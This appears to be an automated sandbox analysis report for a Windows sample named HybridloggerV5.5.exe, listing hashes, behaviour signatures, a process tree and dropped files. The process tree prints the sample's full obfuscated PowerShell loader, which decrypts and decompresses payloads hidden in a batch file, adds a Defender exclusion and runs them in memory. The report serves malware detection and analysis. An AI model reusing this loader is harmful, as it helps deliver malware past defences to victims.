Resubmissions

22-01-2025 00:02

250122-abvbvaxpht 10

21-01-2025 23:59

250121-318jzsyjfq 10

Analysis

  • max time kernel
    101s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    21-01-2025 23:59

General

  • Target

    HybridloggerV5.5.exe

  • Size

    937KB

  • MD5

    c9314841cdbf8522e9ee925039d3bfb7

  • SHA1

    1b851459626862fdae6bdc0dd30aadf7a0f905ee

  • SHA256

    9be892fdf9ada41f19c410d1a6510fda9839fc849dc9a69ff292a6b89fe240e7

  • SHA512

    fb6e8ed3ccae472e19b95f9a1a08968fea7a6457b8d30a35d5f49f466fdf34d321c4cc0d427e753a9063d88456277e8c1d592c5ec1413c96593938b4be778bd0

  • SSDEEP

    24576:61P4yldcwy+Q4sUTB95/MbGkR/ntFdHZknwaIZ1cSsDrM:YP4yj4+Q4sUTB95/MbGkfFdmnwanpM

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 50 IoCs
  • Suspicious use of SendNotifyMessage 48 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5.exe
    "C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:1908
        • C:\Windows\system32\findstr.exe
          findstr /C:"trey" banned_users.txt
          3⤵
            PID:2904
          • C:\Windows\system32\findstr.exe
            findstr /C:"trey gang" users.txt
            3⤵
              PID:2988
          • C:\Windows\system32\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat" "
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1672
            • C:\Windows\system32\net.exe
              net file
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1248
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                4⤵
                  PID:2916
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tzbNpPr1z3nGvgbpSokBMPfW5jnpdEOgrRJQ/JKp40o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WGsJ0QdC6jC+sSlmc6qolg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpRNZ=New-Object System.IO.MemoryStream(,$param_var); $zCfEW=New-Object System.IO.MemoryStream; $OjVcm=New-Object System.IO.Compression.GZipStream($HpRNZ, [IO.Compression.CompressionMode]::Decompress); $OjVcm.CopyTo($zCfEW); $OjVcm.Dispose(); $HpRNZ.Dispose(); $zCfEW.Dispose(); $zCfEW.ToArray();}function execute_function($param_var,$param2_var){ $buZKU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xpTey=$buZKU.EntryPoint; $xpTey.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$oovly = 'C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat';$host.UI.RawUI.WindowTitle = $oovly;$ywjFO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oovly).Split([Environment]::NewLine);foreach ($ANKGG in $ywjFO) { if ($ANKGG.StartsWith(':: ')) { $oFhCt=$ANKGG.Substring(3); break; }}$payloads_var=[string[]]$oFhCt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $oovly;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2524
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            1⤵
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:2676
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7419758,0x7fef7419768,0x7fef7419778
              2⤵
                PID:2004
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1172 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:2
                2⤵
                  PID:1240
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1508 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:8
                  2⤵
                    PID:1756
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1580 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:8
                    2⤵
                      PID:1312
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=1076 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:1
                      2⤵
                        PID:2980
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2296 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:1
                        2⤵
                          PID:2284
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2848 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:2
                          2⤵
                            PID:896
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3296 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:1
                            2⤵
                              PID:1680
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=3996 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:1
                              2⤵
                                PID:2348
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3892 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:8
                                2⤵
                                  PID:2588
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3932 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:8
                                  2⤵
                                    PID:2904
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3824 --field-trial-handle=1396,i,9357782581927155127,15443976623602132298,131072 /prefetch:8
                                    2⤵
                                      PID:2988
                                  • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                    "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                    1⤵
                                      PID:1440

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\94f06d8e-95c8-42e9-8d02-552d5a28aaac.tmp

                                      Filesize

                                      355KB

                                      MD5

                                      2d9038bbfc9c15b03e134f8f64b9079c

                                      SHA1

                                      8b406e6d3970e1c8c785e023610e7475fdda86e3

                                      SHA256

                                      634b8114b566156a85aa7b63f6613667680d05ab0aa3a14e6231a3996b625cc3

                                      SHA512

                                      1c86e18040e22cc4ceecfd4fe17ef625a0ce33875351c0a8ac33cc57d5b411a0bbd290e8c9734ebb85d0e389f21dc861dee25b239d8d3494fdf6bcdfc09ca5c9

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000005

                                      Filesize

                                      215KB

                                      MD5

                                      d474ec7f8d58a66420b6daa0893a4874

                                      SHA1

                                      4314642571493ba983748556d0e76ec6704da211

                                      SHA256

                                      553a19b6f44f125d9594c02231e4217e9d74d92b7065dc996d92f1e53f6bcb69

                                      SHA512

                                      344062d1be40db095abb7392b047b16f33ea3043158690cf66a2fa554aa2db79c4aa68de1308f1eddf6b9140b9ac5de70aad960b4e8e8b91f105213c4aace348

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

                                      Filesize

                                      264KB

                                      MD5

                                      f50f89a0a91564d0b8a211f8921aa7de

                                      SHA1

                                      112403a17dd69d5b9018b8cede023cb3b54eab7d

                                      SHA256

                                      b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                      SHA512

                                      bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                      Filesize

                                      5KB

                                      MD5

                                      688cd0625a083f2f319f1456e196564e

                                      SHA1

                                      2afc0258fc6fcb17830cb022d94b116a61f0f11d

                                      SHA256

                                      2060ed1682578716ebcd6c742a9ab8bb2f557473a33764d870c745e89727e3c9

                                      SHA512

                                      799491df3b00e5b18e1f6c8944fffd80ad7bbbc026b2ee9962230bb9d53e284648d11a51e4a7e43a01ae39ff5834df422651bd4249bfe670352b7ac3ab557389

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                      Filesize

                                      5KB

                                      MD5

                                      49a050c3c09816fe3e4c7b503357e1a5

                                      SHA1

                                      325f2601ca98a72d7b08defe22dd9be4943ed069

                                      SHA256

                                      665cdc58718b06980bcd2c204f90c2de7611a9d33156720ac0e75ef812bd8847

                                      SHA512

                                      62078b6744c20038f966bae2967c445a4dc9081c295db82a4e43d94a0761359feccd010f12049237a2b8664821ea3e45562144ad401f4620631f2420bf539f93

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000007.dbtmp

                                      Filesize

                                      16B

                                      MD5

                                      18e723571b00fb1694a3bad6c78e4054

                                      SHA1

                                      afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                                      SHA256

                                      8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                                      SHA512

                                      43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                      Filesize

                                      177KB

                                      MD5

                                      ba25a24207f54e899bc554ce73aa5df8

                                      SHA1

                                      209f48395635752987b21b093a6bcbcc6dac2358

                                      SHA256

                                      7e1a391ad10a0d217b1b29ab4fdae5ca4753498e5dd4819a693f8b69971da5ff

                                      SHA512

                                      54ae60257519eabb28d1c898c327cee67186210f33a51cc59690fe7284eb6166ebac29222e688b7805020b4793026e6f31d11358d0cd84855ba89a657766905c

                                    • C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat

                                      Filesize

                                      12KB

                                      MD5

                                      89a22d3791ca38666c8144725a74497d

                                      SHA1

                                      96b672089a3c783e4dd27e8da7c0cc1245d55cfd

                                      SHA256

                                      9326ad90526504bfbc876646087bf41a82128fd5d995f624b13ea7ef3e154b94

                                      SHA512

                                      6b73d4fde3a673be8ea4aa169382b8aed1577817193545666a18cc83e918a642adf464090f2c1938b0f75f322e8e18e5304bf15c8eda71b4c072aaea5c294b2e

                                    • C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat

                                      Filesize

                                      910KB

                                      MD5

                                      72ecd938d114e246eeebc8ae430fc2e9

                                      SHA1

                                      9ece59be22ceadcb3951093483cc69a76658801d

                                      SHA256

                                      4eafc8d12d2e402d7de955ffa3940c070d40dea9f2eda1260962518204304f65

                                      SHA512

                                      d2839e5226f9753f5098072b5cb7ab0f30318f3255355ae69fc75efc0ecfced89eb74788716b01a511e2461fa1c21052a336c1873aa82ef411cb710c4f14059e

                                    • C:\Users\Admin\AppData\Local\Temp\users.txt

                                      Filesize

                                      24B

                                      MD5

                                      ac9541d03508c0215e65fed142e6c9aa

                                      SHA1

                                      05cfae56ccc62fc80b532567b0780df831a7c948

                                      SHA256

                                      2fb28f35b7f9714c9945ebe641030152e01b92c771977c2ec497ce620fbab146

                                      SHA512

                                      6fae24016c246d5833d8d2eba91ce0c3399d13e04a008f30df2c3843b8ef319279c1b1d2bc08c241856e5ff23e88538658ee79e3b00182a6c2a5165f959dee52

                                    • memory/2524-25-0x00000000029A0000-0x00000000029A8000-memory.dmp

                                      Filesize

                                      32KB

                                    • memory/2524-24-0x000000001B510000-0x000000001B7F2000-memory.dmp

                                      Filesize

                                      2.9MB

                                    • memory/3052-0-0x000007FEF5F13000-0x000007FEF5F14000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3052-1-0x0000000000350000-0x0000000000440000-memory.dmp

                                      Filesize

                                      960KB